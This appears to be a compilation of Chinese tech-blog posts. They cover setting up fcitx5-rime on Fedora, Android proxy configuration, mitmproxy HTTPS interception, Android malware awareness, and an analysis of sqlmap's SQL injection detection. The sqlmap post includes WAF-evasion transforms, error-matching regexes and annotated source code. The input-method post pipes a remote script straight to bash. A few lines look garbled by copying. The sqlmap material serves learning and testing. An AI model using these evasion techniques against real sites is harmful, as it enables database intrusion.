fedora 上安装 fcitx5 rime

现在 fcitx 已经升级到了 fcitx5, 本来用着 fcitx4 挺好,也没有想着升级,在折腾 fcitx.vim 的时候发现 fcitx 居然升级了,
使得我的 vim 插件无法正常工作了,一顿折腾,本来以为很简单没想到进了个大坑 。
主要是不愿意放弃我的一万多行的 rime 用户词库,多年的积累了,不过 Linux 用户不就是老折腾吗, 唉。

fcitx5-rime 的默认的配置目录已经变为 ~/.local/share/fcitx5/rime, fcitx4 默认的配置目录是 ~/.config/fcitx/rime

安装 fcitx5 和 fcitx5 rime

1
2
sudo dnf install -y fcitx5 fcitx5-autostart fcitx5-chinese-addons fcitx5-configtool fcitx5-gtk fcitx5-qt
sudo dnf install -y fcitx5-rime

Fedora dnf 已经默认有 fcitx5-rime 的安装包了,不用自己重新编译了,非常不错。 fcitx5-chinese-addons
为 fcitx5 自己默认带的中文输入法,这些和 rime 没有什么关系,网络上有人说, fcitx 的中文输入较以前有较大改进。
fcitx5-autostart 用于自启动。后面发现系统自带的启动环境变量好像设置的有问题,不安装其实也没有什么问题,
自己手动执行 fcitx5 -d 即可。

设置正确的环境变量

修改 ~/.xprofile~/.zshrc/etc/profile 等文件

1
2
3
export GTK_IM_MODULE=fcitx5
export QT_IM_MODULE=fcitx5
export XMODIFIERS="@im=fcitx5"

编译 fcitx5-qt5

为了使我们自己编译的 vnote 可以正常使用 fcitx5, 需要编译 fcitx5-qt,新版的代码需要安装依赖 qt5-qtbase-private-devel 要不会出现 Parse error at “IID” 的错误。

sudo dnf install qt5-qtbase-private-devel.x86_64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
git clone git@github.com:fcitx/fcitx5-qt.git

cat << EOF > build_linux.sh
QTDIR="/home/henices/Qt5.12.9/5.12.9/gcc_64/"
PATH="$QTDIR/bin:$PATH"
LDFLAGS=-L$QTDIR/lib
CPPFLAGS=-I$QTDIR/include

rm -rf build
mkdir -p build
cd build
cmake ..
make -j8
EOF

bash build_linux.sh

编译完成后将生成的 so 文件 copy 到 qt 的插件目录:

1
2
cd build
cp ./qt5/platforminputcontext/libfcitx5platforminputcontextplugin.so /home/henices/Qt5.12.9/5.12.9/gcc_64/plugins/platforminputcontexts/

配置中文环境

1
2
3
4
sudo vim /etc/locale.conf

export LANG="zh_CN.UTF-8"
export LC_CTYPE="zh_CN.UTF-8"

安装 rime 词库

rime 现在已经使用 plum 管理词库,如果需要安装双拼输入法的,可以执行下面的命令:

1
2
curl -fsSL https://git.io/rime-install | bash
rime_frontend=fcitx5-rime bash rime-install double_pinyin

rime 为了保证输入速度,词库很小,为了能够自动显示更多的词组,就需要使用拓展词库。

1
2
git clone https://github.com/rime-aca/dictionaries.git
cp dictionaries/luna_pinyin.dict/* ~/.local/share/fcitx5/rime/

安装了上面的拓展词库后,输入特殊符号的能力还是比较弱,需要把 symbols.yaml 也给加进来。

https://github.com/rime/rime-prelude 提供了我们所需要的 symbols.yaml 和 default.yaml,
可以使用 東風破 安裝: rime_frontend=fcitx5-rime bash rime-install prelude

由于我们使用的是自然码双拼,需要修改的文件为 double_pinyin.custom.yaml

1
2
3
4
5
patch:
# 載入朙月拼音擴充詞庫
"translator/dictionary": luna_pinyin.extended
"punctuator/import_preset": symbols
"recognizer/patterns/punct": "^/([A-Z|a-z]*|[0-9]|10)$"

设置完成后,要重新启动输入法,比如要输入 ☆ ,输入 /xh 即可

将用户词库导入 rime

rime_dict_manager -i luna_pinyin luna_pinyin.userdb.txt

这一步很关键啊,多年的积累不能浪费了。

配置 fcitx5 皮肤

fcitx5 默认的皮肤不太好看,所以下载更新了皮肤,这款简约风格的皮肤非常符合老夫的胃口。

1
2
git clone https://github.com/thep0y/fcitx5-themes.git
cp spring ~/.local/share/fcitx5/themes -r

修改配置文件 ~/.config/fcitx5/conf/classicui.conf

1
2
3
4
5
6
7
8
9
10
11
# 垂直候选列表
Vertical Candidate List=False

# 按屏幕 DPI 使用
PerScreenDPI=True

# Font (设置成你喜欢的字体)
Font="Smartisan Compact CNS 13"

# 主题(这里要改成你想要使用的主题名,主题名就在下面)
Theme=spring

另外还有一款 fcitx5 皮肤相对流行:https://github.com/hosxy/Fcitx5-Material-Color

切换皮肤的方法是,点击鼠标右键点击 配置 -> 附加组件 -> 经典用户界面 -> 点击右边图标 -> 选择皮肤

设置 fcitx rime 单行模式

如果要将输入法设置为单行模式,需要修改配置文件 ~/.config/fcitx5/conf/rime.conf

1
PreeditInApplication=True

或者按快捷键 ctrl + alt + p, 这个快捷键可以来回切换很方便,单行还是双行就因人而异了,我个人觉得单行好点。

让 fcitx5 正确显示菜单

要做这个步骤是因为 rime 有 「部署」、「同步」这几个操作按钮,如果不正确配置的话在 fcitx5 上没法正常显示。
fcitx5 在任务上有个托盘图标,点击右键就可以看到这些菜单。

要让 fcitx 正确显示菜单,关键在于让 rime 输入法默认处于激活状态,根据 fcitx5 配置的提示第一个输入法为非激活状态。

  • (1) 将第一个输入法设置为 键盘-英语 (美国),第二个输入法设置为 中州韵
  • (2) 在全局设置中,勾上默认状态为激活,共享输入状态设置为 程序

fcitx.vim

这个章节是写给 linux vim 用户看的,没有此需求的可以直接跳过这段。

vim 确实是程序编辑的利器,但是在用vim 写中文文档的时候,有一个痛点,你在用 fcitx 写中文的时候想保存文档,
vim 必须切换到 normal 模式才能输入保存的命令 :w,进入normal 模式的方法是连续按两下 ESC,好了现在你应该
输入命令了,但是你没法输入你现在还在打中文呢,没有办法你必须先切换到英文输入法,然后才能正确地输入 :w 痛苦啊。

fcitx.vim 就是为解决这个痛点而生的插件,个人觉得这是vim 必装的几个插件之一。fcitx.vim 的github 仓库
地址为:https://github.com/lilydjwg/fcitx.vim

值得一提的是这个仓库有两个分支,fcitx4 分支 和 fcitx5 分支,使用的时候一定要分清楚,这两个分支如果
使用错了,就没法正常使用 fcitx.vim 插件了。fcitx4 和 fcitx5 dbus 对象名字有变化,导致代码通用性不好。
现在默认分支为 fcitx5,如果你使用 fcitx4 可能直接 git clone 下来就会发现插件用不了,我也是因为这个
原因才发现 fcitx 居然更新了。

后记

可能有些人不知道为什么要折腾 rime,rime 的用户词库文件是个宝贝,这个词库是都是你真实的在日常使用中用到的词库,小巧又实用还能到处同步,上传到云后永不丢失,符合自己的数据自己掌握的硬道理。至于国内的那些输入法,我就不加以评价了,在这商业的社会要保持基本的做人底线不易。

参考资料

在 Android 手机上的使用 stunnel (不需要 root )

☆ Android stunnel

https://github.com/comp500/SSLSocks.git 这个项目可以使用 android 版本的 stunnel, 其实就是调用 https://www.stunnel.org/downloads/stunnel-5.57-android.zip

具体配置和使用命令行差距不大,参考:
https://github.com/comp500/SSLSocks/blob/master/README.md
https://hamy.io/post/0011/how-to-run-stunnel-on-your-android-device/

☆ 设置全局代理

  1. 在 wifi 连接的情况

打开wifi 列表 -> 长按连接的 wifi -> 点击修改 -> 高级选项 -> 填写代理相关信息

  1. 使用 adb shell 执行命令
1
adb shell settings put global http_proxy 192.168.xx.xxx:8888
  1. Android Proxy Toggle

https://github.com/theappbusiness/android-proxy-toggle.git

要正常使用 app 需要用 adb shell 连接上设置相应的权限:

1
adb shell pm grant com.kinandcarta.create.proxytoggle android.permission.WRITE_SECURE_SETTINGS

OnePlus 7T 升级到 Android 12 后,执行上面的命令将出错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
OnePlus7T:/ $ pm grant com.kinandcarta.create.proxytoggle android.permission.WRITE_SECURE_SETTINGS

Exception occurred while executing 'grant':
java.lang.SecurityException: grantRuntimePermission: Neither user 2000 nor current process has android.permission.GRANT_RUNTIME_PERMISSIONS.
at android.app.ContextImpl.enforce(ContextImpl.java:2187)
at android.app.ContextImpl.enforceCallingOrSelfPermission(ContextImpl.java:2215)
at com.android.server.pm.permission.PermissionManagerService.grantRuntimePermissionInternal(PermissionManagerService.java:1477)
at com.android.server.pm.permission.PermissionManagerService.grantRuntimePermission(PermissionManagerService.java:1459)
at android.permission.PermissionManager.grantRuntimePermission(PermissionManager.java:378)
at com.android.server.pm.PackageManagerShellCommand.runGrantRevokePermission(PackageManagerShellCommand.java:2419)
at com.android.server.pm.PackageManagerShellCommand.onCommand(PackageManagerShellCommand.java:260)
at com.android.modules.utils.BasicShellCommandHandler.exec(BasicShellCommandHandler.java:97)
at android.os.ShellCommand.exec(ShellCommand.java:38)
at com.android.server.pm.PackageManagerService.onShellCommand(PackageManagerService.java:25948)
at android.os.Binder.shellCommand(Binder.java:970)
at android.os.Binder.onTransact(Binder.java:854)
at android.content.pm.IPackageManager$Stub.onTransact(IPackageManager.java:4818)
at com.android.server.pm.PackageManagerService.onTransact(PackageManagerService.java:8987)
at android.os.Binder.execTransactInternal(Binder.java:1226)
at android.os.Binder.execTransact(Binder.java:1163)

少数派的文章 在 ColorOS 上免 root 玩机,请先打开这个开关 中指出需要在开发者选项中
开启 禁止权限监控

开启后可以正常执行 pm grant 命令,执行成功后可以使用 dumpsys package <package name> 列出所有的权限。

1
2
3
4
5
6
7
dumpsys package com.kinandcarta.create.proxytoggle | grep permission

requested permissions:
android.permission.WRITE_SECURE_SETTINGS
android.permission.WRITE_SETTINGS
install permissions:
android.permission.WRITE_SECURE_SETTINGS: granted=true

恢复无代理

如果遇上一些异常情况,比如错误卸载了 Android Proxy Toggle, 可以使用下面命令去掉 Android 全局代理。

1
2
3
adb shell settings delete global http_proxy
adb shell settings delete global global_http_proxy_host
adb shell settings delete global global_http_proxy_port

mitmproxy 简介

主要特色:Intercept HTTP & HTTPS requests and responses and modify them on the fly

使用python编写,可以在windows,Linux, Mac 下运行,这点比 fiddler 有优势。可以修改报文内容,这点很不错。

☆ 1. 安装

参考 https://docs.mitmproxy.org/stable/overview-installation/

1
2
sudo dnf install -y python-pip python-devel libffi-devel openssl-devel libxml2-devel libxslt-devel libpng-devel libjpeg-devel
sudo pip install mitmproxy # or pip install --user mitmproxy

☆ 2. 基本使用

mitmproxy --listen-host 127.0.0.1 -p 8080

  • --listen-host address to bind address
  • -p bind port
  • -s “script.py –bar”, –script “script.py –bar” Run a script. Surround with quotes to pass script

2.1 mitmproxy 界面操作

- ?            显示帮助信息
- h, j, k, l    上下左右,同 vi
- enter         进入具体报文
- q             退出界面
- tab           详细报文内容页面
- E             导出报文内容

☆ 3. 导入mitmproxy的 CA

使用mitmproxy 最大的原因就是因为它可以对付https报文。
参考 https://docs.mitmproxy.org/stable/concepts-certificates/

mitmproxy 的 CA 证书放在 ~/.mitmproxy 目录, 可以在不同设备中添加。

3.1 目标设备为Linux

导入证书

  • Google Chrome

设置 -> HTTPS/SSL -> 证书管理 -> 授权中心

  • Firefox

没用Firefox,估计也类似。

设置代理

设置好CA后,设置浏览器使用mitmproxy代理即可,可以考虑使用浏览器代理插件。

3.2 目标设备为 Android

导入证书

adb push ~/.mitmproxy/mitmproxy-ca-cert.cer /sdcard/Download

设置 -> 安全 -> 证书存储 -> 从手机存储安装, 选择上传的CA证书。

设置代理

emulator 上可以通过下面的命令行,设置代理。

./emulator -avd 7.0_x86 -http-proxy http://127.0.0.1:8080

真实的设备上,可以通过设置 wifi 代理,或者使用下面的命令行。

1
2
adb shell settings put global http_proxy 127.0.0.1:8888
adb reverse tcp:8888 tcp:8080

在 Android 上设置 http 全局代理 127.0.0.1:8888, 最后将 Android 的 8888 端口转发到本机 8080 端口。

☆ 4. 透明模式

mitmproxy 支持透明部署,具体的方法可以参考下面的文章。

https://docs.mitmproxy.org/stable/howto-transparent/

☆ 5. 修改报文内容

github 上有很多例子,这次没有需求,可以参考

https://github.com/mitmproxy/mitmproxy/tree/main/examples/addons
https://github.com/mitmproxy/mitmproxy/tree/main/examples/contrib

官方文档上给了个简单例子

1
2
def response(flow):
flow.response.headers["newheader"] = "foo"

给http响应报文的头部添加一个 newheader 的字段。

☆ 6. socks 模式

mitmproxy -m socks5

作为 SOCKS5 proxy server 使用

☆ 7. 总结

这里说到的内容非常少,mitmproxy这个工具还是很强大的。

参考资料

https://www.usmacd.com/2021/09/01/Android_SSL_Pinning/

关于恶意 Android 软件的那些事

近年来,Android手机平台上的恶意App呈不断上升的趋势,根据G DATA的数据仅2015年 第一季度发现了440267 种新的安卓恶意软件,也就是说,全球范围内每18秒就有一个新的恶意软件被发现。而天朝由于Google被封的原因,更是使恶意软件的传播更加猖獗。Google Play store 为了保证Android用户的安全做了大量的努力,和国内的一些第三方应用市场相比安全一些的。

重打包是Android App主流的传播方式之一,和以前单独的恶意App不同,重打包的软件 在合法正常的App中插入恶意代码,迷惑性极强,一般用户觉察不出什么不同。而重打包选取 的App也大多是非常流行的App,如愤怒的小鸟之类,这些都在地下市场隐秘的进行着。重打包 App然后上传第三方App应用市场,第三方市场把关不严格的话,这些插入了恶意代码的App 就可以下载安装了。

除了重打包短信,彩信也是Android 恶意App传播的主要方式,和以前QQ的消息尾巴类似发一些奇怪的话,后面加上短链接。短链接就是经过压缩的链接,没法一些看出原始的链接,点击后会自动下载恶意App。臭名昭著的“相册”就是通过这种方式传播,短信的内容是:小明,你还记得这些照片吗? t.cn/xyz1 注意这里的名字小明是正确的,相册偷取了大量的手机通讯录,按照通讯录的名字来发送,迷惑性大大增强了。

还有值得大家注意的是,一定要警惕申请设备管理员权限的App,设备管理员可以做很多高权限的事,比如修改设备密码,擦掉数据等操作,Android手机的勒索软件就是修改了设备的密码,禁止手机主人进入手机,而进行勒索的,最近这类软件的数目增加很快,大家一定要注意。

上面说了很多Android恶意软件相关的内容,也给大家一些安全建议,提高了安全意识也就不容易中招了。

  1. 尽量在Google play 或者官方网站下载APP,不要第三方应用市场随意下载
  2. 不要随意点击不明链接
  3. 对于申请设备管理员的App,保持高度警惕

最后教大家一招急救,许多Android手机也有安全模式,安全模式只加载出厂应用,进入了安全模式,删除恶意软件,可能可以挽救你的手机 :)

Google Chrome 浏览器 Adobe Flash Player 升级

某一天突然发现网页中flash已经不能正常显示了(我一般都禁用),显示 out of data 错误。

访问 chrome://components/ 可以升级 Adobe Flash Player

Adobe Flash Player - 检查更新, 失败。这里有一个坑,插件中的代理设置是无法影响
chrome 内部程序的,必须设置环境变量或者直接使用命令行来设置全局代理。

google-chrome —proxy-server=”socks://127.0.0.1:9999”

重新检查更新,可以成功更新了,重启后生效了,已经不报 out of data 错误了。为了保险
把系统中flash player也给升级,打开网页 https://get.adobe.com/flashplayer/otherversions/

step 1 选Linux (64 bit), step 2 选 yum,下载后安装,后续可以使用dnf 升级了。

sqlmap 中的 SQL Injection 检测技术

https://github.com/henices/sqli
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)

基于信道的 sql injection 分类

Inband

SQL代码注入和SQL injection 结果的获取在同一频道(e.g. 浏览器), 获得的数据直接显示在应用程序页面的正常输出或者错误信息中,这是最简单的攻击类型。

Out-of-band

SQL查询数据的传输使用不同的频道(e.g HTTP,DNS), 这是从数据库中获取大量数据简单的方法。

Inferential

没用真实有用的数据传输,但是攻击者可以通过发送特定的请求,观察数据库服务器的返回的结果的行为重建信息。

基于 sql inject 检测技术的分类

boolean-based blind SQL injection

也被称为推理SQL注入:SqlMap替换或追加HTTP请求中受影响的参数,一个有效的SQL语句字符串包含 SELECT 子语句,或任何其他用户要检索输出的SQL语句。对于每个HTTP响应,将其 headers/body和原始请求的做比较,该工具一个字符一个字符地分析的注入语句的输出。另外,用户可以提供一个字符串或正则表达式匹配正确的页面。使用SqlMap实现的二分算法来实施执行此技术可以获取七个最大的每个HTTP请求的输出的每一个字符。凡不属于输出纯文本纯字符集,SqlMap将适应与更大范围的算法来检测输出。

error-based SQL injection

sqlmap替换或者追加受影响的HTTP参数一个特定数据的语法错误的SQL语句,分析HTTP 响应header和body,查询DBMS错误信息中是否包含注入的预先定义的字符串链,并且SQL语句的输出在字符串链的中间.这种技术仅在web应用程序被配置成泄漏后端数据库管理系统错误信息时有效。

time-based blind or stacked queries

也被称为全盲SQL注入:SqlMap替换或追加HTTP请求中受影响的参数,构造一个有效的SQL语句字符串包含一个查询,使后端DBMS sleep几秒钟。对于每个HTTP响应,比较其响应时间与原始请求的HTTP响应时间,该工具一个字符一个字符地分析的注入语句的输出。和boolean-based技术一样,同样应用了二分算法(bisection algorithm)。

UNION query SQL injection

SqlMap 追加受影响的参数一个以UNION ALL SELECT开始的有效的SQL语句字符串。这种技术当Web应用程序页面内将SELECT语句的同一周期输出,或者类似的,网页上的内容中显示查询结果的每一行时有效。SqlMap是还可以利用部分UNION 查询的SQL注入漏洞,当SQL语句的输出不是在一个周期内的,在构造的区域内只有在查询输出的第一项被显示。

Stacked queries SQL injection

也被称为多语句SQL注入(multiple statements SQL injection):SqlMap 测试 Web 应用程序是否支持批量叠查询, 然后,它支持的情况下,它附加到HTTP请求中受影响的参数,一个分号(;) 随后的SQL语句会被执行。这种技术在执行 SELECT以外的SQL语句时非常有用,根据后端数据库管理系统的不同用户和会话特权,数据定义和数据操作SQL语句可能导致文件系统的读写访问和操作系统命令执行的。

SQL Injection 检测的逃逸技术

随机大小写

1
INSERT => InsERt

支持的数据库类型:

数据库 是否支持
MSSQL 支持
MySQL 支持
PostgreSQL 支持
Oracle 支持

空格用注释替换

1
SELECT id FROM users => SELECT/**/id/**/FROM/**/users

支持的数据库类型:

数据库 是否支持
MSSQL 支持
MySQL 支持
PostgreSQL 支持
Oracle 支持
Access 不支持

Oracle 10g 测试

1
SQL> select/**/*/**/from v$version;
1
2
3
4
5
6
7
BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.1.0.3.0 - Prod
PL/SQL Release 10.1.0.3.0 - Production
CORE 10.1.0.3.0 Production
TNS for Linux: Version 10.1.0.3.0 - Production
NLSRTL Version 10.1.0.3.0 - Production

PostgreSQL:

1
postgres=# select/*abc*/version();
1
2
3
                                                               version                                                                
--------------------------------------------------------------------------------------------------------------------
PostgreSQL 8.1.4 on i686-pc-linux-gnu, compiled by GCC i686-pc-linux-gnu-gcc (GCC) 3.4.6 (Gentoo 3.4.6-r1, ssp-3.4.5-1.0, pie-8.7.9)

随机注释

1
INSERT => IN/**/S/**/ERT

本身语法不支持,但可以对付不正确的过滤.

1
postgres=# selec/**/t version();

ERROR: syntax error at or near “selec” 在字符 1
第 1 行: selec/**/t version();

Oracle:

1
SQL> sel/**/ect v$version;

SP2-0734: unknown command beginning “sel/**/ect…” - rest of line ignored.

空格用+替换

1
SELECT id FROM users => SELECT+id+FROM+users

随机空格替换

1
SELECT id FROM users => SELECT\rid\tFROM\nusers
数据库 是否支持
MSSQL 支持
Mysql 支持
PostgreSQL 支持
Oracle 支持
1
2
3
4
5
6
7
8
9
10
$echo -e "select\t*from\tv\$version;"| sqlplus "/ as sysdba"

SQL>
BANNER
----------------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.1.0.3.0 - Prod
PL/SQL Release 10.1.0.3.0 - Production
CORE 10.1.0.3.0 Production
TNS for Linux: Version 10.1.0.3.0 - Production
NLSRTL Version 10.1.0.3.0 - Production
1
2
3
4
echo -e "select\tversion();" | psql -U postgres
version
--------------------------------------------------------------------------------------------------------------------------------------
PostgreSQL 8.1.4 on i686-pc-linux-gnu, compiled by GCC i686-pc-linux-gnu-gcc (GCC) 3.4.6 (Gentoo 3.4.6-r1, ssp-3.4.5-1.0, pie-8.7.9)

urlencode

1
SELECT FIELD FROM%20TABLE' => '%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45'

between 替换

1
A > B' => 'A NOT BETWEEN 0 AND B

逃避正则表达式检测

1
or 1=1  使用  or 'a'='a'

DBMS分析技术

通过错误信息分析DBMS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?xml version="1.0" encoding="UTF-8"?>

<root>
<!-- MySQL -->
<dbms value="MySQL">
<error regexp="SQL syntax.*MySQL"/>
<error regexp="Warning.*mysql_.*"/>
<error regexp="valid MySQL result"/>
<error regexp="MySqlClient\."/>
</dbms>

<!-- PostgreSQL -->
<dbms value="PostgreSQL">
<error regexp="PostgreSQL.*ERROR"/>
<error regexp="Warning.*\Wpg_.*"/>
<error regexp="valid PostgreSQL result"/>
<error regexp="Npgsql\."/>
</dbms>

<!-- Microsoft SQL Server -->
<dbms value="Microsoft SQL Server">
<error regexp="Driver.* SQL[\-\_\ ]*Server"/>
<error regexp="OLE DB.* SQL Server"/>
<error regexp="(\W|\A)SQL Server.*Driver"/>
<error regexp="Warning.*mssql_.*"/>
<error regexp="(\W|\A)SQL Server.*[0-9a-fA-F]{8}"/>
<error regexp="Exception Details:.*\WSystem\.Data\.SqlClient\."/>
<error regexp="Exception Details:.*\WRoadhouse\.Cms\."/>
</dbms>

<!-- Microsoft Access -->
<dbms value="Microsoft Access">
<error regexp="Microsoft Access Driver"/>
<error regexp="JET Database Engine"/>
<error regexp="Access Database Engine"/>
</dbms>

<!-- Oracle -->
<dbms value="Oracle">
<error regexp="ORA-[0-9][0-9][0-9][0-9]"/>
<error regexp="Oracle error"/>
<error regexp="Oracle.*Driver"/>
<error regexp="Warning.*\Woci_.*"/>
<error regexp="Warning.*\Wora_.*"/>
</dbms>

<!-- DB2 -->
<dbms value="DB2">
<error regexp="CLI Driver.*DB2"/>
<error regexp="DB2 SQL error"/>
</dbms>

<!-- Informix -->
<dbms value="Informix">
<error regexp="Exception.*Informix"/>
</dbms>

<!-- Interbase/Firebird -->
<dbms value="Firebird">
<error regexp="Dynamic SQL Error"/>
<error regexp="Warning.*ibase_.*"/>
</dbms>

<!-- SQLite -->
<dbms value="SQLite">AND '[RANDSTR]'='[RANDSTR]
<error regexp="SQLite/JDBCDriver"/>
<error regexp="SQLite.Exception"/>
<error regexp="System.Data.SQLite.SQLiteException"/>
<error regexp="Warning.*sqlite_.*"/>
<error regexp="Warning.*SQLite3::"/>
</dbms>

<!-- SAP MaxDB -->
<dbms value="SAP MaxDB">
<error regexp="SQL error.*POS([0-9]+).*"/>
<error regexp="Warning.*maxdb.*"/>
</dbms>

<!-- Sybase -->
<dbms value="Sybase">
<error regexp="Warning.*sybase.*"/>
<error regexp="Sybase message"/>
<error regexp="Sybase.*Server message.*"/>
</dbms>

<!-- Ingres -->
<dbms value="Ingres">
<error regexp="Warning.*ingres_"/>
<error regexp="Ingres SQLSTATE"/>
<error regexp="Ingres\W.*Driver"/>
</dbms>

</root>

更详细地需要DBMS fingerprint 识别技术

检测SQL Injection 的报文

  1. 检查参数是否动态
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def checkDynParam(place, parameter, value):
"""
This function checks if the url parameter is dynamic. If it is
dynamic, the content of the page differs, otherwise the
dynamicity might depend on another parameter.
"""

kb.matchRatio = None

infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)

# 生成一个随机字符串
randInt = randomInt()
payload = agent.payload(place, parameter, value, getUnicode(randInt))
logger.debug("checkDynParam: %s", payload)
dynResult = Request.queryPage(payload, place, raise404=False)

# 如果和原先页面一样,不是动态参数
if True == dynResult:
return False

infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
# 再次检查,确认
randInt = randomInt()
payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False)

return not dynResult
  1. 启发式检测,长度为10的 “,’, ), ( 随机字符串, 使用python RandomStr, 如果发生已知错误,报可能存在sql injection, 可能的数据库

  2. 基于risk 和 level的级别,使用payloads.xml中的报文进行检测

  3. 判断url连接是否稳定,连续连接url两次,如果返回内容完全相同,则认为url稳定。

  4. NullConnection http://www.wisec.it/sectou.php?id=472f952d79293

怎么判断injected payload 成功

comparison 算法, boolean-based blind SQL injections

使用 difflib.SequenceMatcher, 基于页面相似度如果请求发生错误,所有不正确的请求都认为正确。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
def comparison(page, getRatioValue=False, pageLength=None):
if page is None and pageLength is None:
return None

regExpResults = None

seqMatcher = getCurrentThreadData().seqMatcher
#logger.debug(kb.pageTemplate)
seqMatcher.set_seq1(kb.pageTemplate)

if page:
# String to match in page when the query is valid
#a.1 如果出现指定字符串,返回True
if conf.string:
condition = conf.string in page
return condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO)

# Regular expression to match in page when the query is valid
# a.2 如果出现指定正则表达式,返回Ture
if conf.regexp:
condition = re.search(conf.regexp, page, re.I | re.M) is not None
return condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO)

# In case of an DBMS error page return None
if kb.errorIsNone and (wasLastRequestDBMSError() or wasLastRequestHTTPError()):
return None

# Dynamic content lines to be excluded before comparison
# a.4 比较前先将两个页面的动态内容移除
if not kb.nullConnection:
page = removeDynamicContent(page)
seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))

if not pageLength:
pageLength = len(page)

# 连接发生错误
if kb.nullConnection and pageLength:
if not seqMatcher.a:
errMsg = "problem occured while retrieving original page content "
errMsg += "which prevents sqlmap from continuation. please rerun, "
errMsg += "and if problem persists please turn off optimization switches"
raise sqlmapNoneDataException, errMsg

ratio = 1. * pageLength / len(seqMatcher.a)

if ratio > 1.:
ratio = 1. / ratio
else:
# 正常连接情况, 判断是否使用textOnly命令行参数
seqMatcher.set_seq1(getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a)
seqMatcher.set_seq2(getFilteredPageContent(page, True) if conf.textOnly else page)
# float 3 digits
ratio = round(seqMatcher.quick_ratio(), 3)
logger.debug('ratio: %s' % ratio)

# If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if kb.matchRatio is None:
if kb.pageStable and ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
kb.matchRatio = ratio
logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio)

elif not kb.pageStable:
# CONSTANT_RATIO = 0.900
kb.matchRatio = CONSTANT_RATIO
logger.debug("setting match ratio for current parameter to default value 0.900")

# If it has been requested to return the ratio and not a comparison
# response
if getRatioValue:
return ratio

# ratio > 0.98, 认为两个页面一样
elif ratio > UPPER_RATIO_BOUND:
return True

elif kb.matchRatio is None:
return None

else:
# url 不稳定
if kb.matchRatio == CONSTANT_RATIO:
return ratio > kb.matchRatio
else:
# DIFF_TOLERANCE = 0.05 magic number
return (ratio - kb.matchRatio) > DIFF_TOLERANCE


移除动态内容
def removeDynamicContent(page):
"""
Removing dynamic content from supplied page basing removal on
precalculated dynamic markings
"""

if page:
for item in kb.dynamicMarkings:
prefix, suffix = item

if prefix is None and suffix is None:
continue
elif prefix is None:None
page = getCompiledRegex('(?s)^.+%s' % suffix).sub(suffix, page)
elif suffix is None:
page = getCompiledRegex('(?s)%s.+$' % prefix).sub(prefix, page)
else:
page = getCompiledRegex('(?s)%s.+%s' % (prefix, suffix)).sub('%s%s' % (prefix, suffix), page)

return page

# 查找动态内容
def findDynamicContent(firstPage, secondPage):
"""
This function checks if the provided pages have dynamic content. If they
are dynamic, proper markings will be made
"""

infoMsg = "searching for dynamic content"
logger.info(infoMsg)

# 返回匹配的内容
blocks = SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()
kb.dynamicMarkings = []

# Removing too small matching blocks
i = 0
while i < len(blocks):
block = blocks[i]
(_, _, length) = block

# DYNAMICITY_MARK_LENGTH = 32
if length <= DYNAMICITY_MARK_LENGTH:
blocks.remove(block)

else:
i += 1

# Making of dynamic markings based on prefix/suffix principle
if len(blocks) > 0:

# 在blocks的前后添加None
blocks.insert(0, None)
blocks.append(None)

#
for i in xrange(len(blocks) - 1):
prefix = firstPage[blocks[i][0]:blocks[i][0] + blocks[i][2]] if blocks[i] else None
suffix = firstPage[blocks[i + 1][0]:blocks[i + 1][0] + blocks[i + 1][2]] if blocks[i + 1] else None

if prefix is None and blocks[i + 1][0] == 0:
continue

if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)):
continue

# 去掉字符串头和尾的字母和数字
prefix = trimAlphaNum(prefix)
suffix = trimAlphaNum(suffix)

kb.dynamicMarkings.append((re.escape(prefix[-DYNAMICITY_MARK_LENGTH/2:]) if prefix else None, re.escape(suffix[:DYNAMICITY_MARK_LENGTH/2]) if suffix else None))

if len(kb.dynamicMarkings) > 0:
infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
logger.info(infoMsg)

grep(正则表达式), error-based SQL injection, 可以检查

MS SQL server, Oracle, Mysql等,使用的语句,使用随机字符串查询,如果返回结果的body,或者头部信息中包含我们构造的随机字符串,则认为存在漏洞.具体数据可以使用sqlmap, payloads.xml,例子:

MySQL >= 5.0 AND error-based - WHERE or HAVING clause

1
